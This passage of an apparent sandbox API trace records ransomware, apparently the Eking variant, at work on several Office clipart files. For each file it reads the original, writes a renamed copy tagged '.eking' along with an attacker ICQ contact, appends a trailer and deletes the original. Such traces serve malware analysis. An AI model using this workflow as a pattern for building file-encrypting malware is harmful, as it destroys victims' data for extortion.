dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.109] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.109] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0258.110] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xa4c, lpOverlapped=0x0) returned 1 [0258.113] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xa50, lpOverlapped=0x0) returned 1 [0258.114] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.114] CloseHandle (hObject=0x354) returned 1 [0258.114] CloseHandle (hObject=0x390) returned 1 [0258.115] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0 [0258.115] SetEvent (hEvent=0x2b8) returned 1 [0258.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.116] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6636) returned 1 [0258.116] CloseHandle (hObject=0x390) returned 1 [0258.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0258.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0258.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0258.118] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x19ec, lpOverlapped=0x0) returned 1 [0258.860] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x19f0, lpOverlapped=0x0) returned 1 [0258.867] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.868] CloseHandle (hObject=0x390) returned 1 [0258.868] CloseHandle (hObject=0x354) returned 1 [0258.868] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0 [0258.868] SetEvent (hEvent=0x2b8) returned 1 [0258.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.869] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7804) returned 1 [0258.869] CloseHandle (hObject=0x354) returned 1 [0258.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0258.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0258.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.870] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.870] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0259.434] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1e7c, lpOverlapped=0x0) returned 1 [0259.435] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1e80, lpOverlapped=0x0) returned 1 [0259.437] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.437] CloseHandle (hObject=0x354) returned 1 [0259.437] CloseHandle (hObject=0x394) returned 1 [0259.437] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0 [0259.439] SetEvent (hEvent=0x2b8) returned 1 [0259.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.439] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2016) returned 1 [0259.439] CloseHandle (hObject=0x394) returned 1 [0259.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0259.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0259.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.440] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.440] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0259.443] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x7e0, lpOverlapped=0x0) returned 1 [0259.447] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x7f0, lpOverlapped=0x0) returned 1 [0259.448] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.448] CloseHandle (hObject=0x394) returned 1 [0259.448] CloseHandle (hObject=0x354) returned 1 [0259.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0 [0259.449] SetEvent (hEvent=0x2b8) returned 1 [0259.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0259.449] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3348) returned 1 [0259.449] CloseHandle (hObject=0x354) returned 1 [0259.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0259.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0259.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0259.450] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.450] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0259.452] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd14, lpOverlapped=0x0) returned 1 [0259.453] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd20, lpOverlapped=0x0) returned 1 [0259.454] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.454] CloseHandle (hObject=0x354) returned 1 [0259.455] CloseHandle (hObject=0x394) returned 1 [0259.455] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0 [0259.455] SetEvent (hEvent=0x2b8) returned 1 [0259.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.456] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4296) returned 1 [0259.456] CloseHandle (hObject=0x394) returned 1 [0259.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0259.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0259.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.457] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.457] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0259.458] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x10c8, lpOverlapped=0x0) returned 1 [0259.460] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x10d0, lpOverlapped=0x0) returned 1 [0259.461] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.461] CloseHandle (hObject=0x394) returned 1 [0259.461] CloseHandle (hObject=0x354) returned 1 [0259.462] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0 [0259.462] SetEvent (hEvent=0x2b8) returned 1 [0259.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0259.463] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3228) returned 1 [0259.463] CloseHandle (hObject=0x354) returned 1 [0259.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0259.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0259.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0259.464] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.464] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0259.465] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xc9c, lpOverlapped=0x0) returned 1 [0259.466] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xca0, lpOverlapped=0x0) returned 1 [0259.467] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.467] CloseHandle (hObject=0x354) returned 1 [0259.468] CloseHandle (hObject=0x394) returned 1 [0259.468] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0 [0259.468] SetEvent (hEvent=0x2b8) returned 1 [0259.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.470] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4808) returned 1 [0259.470] CloseHandle (hObject=0x394) returned 1 [0259.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0259.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0259.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0259.470] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.470] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0259.471] ReadFile (in: 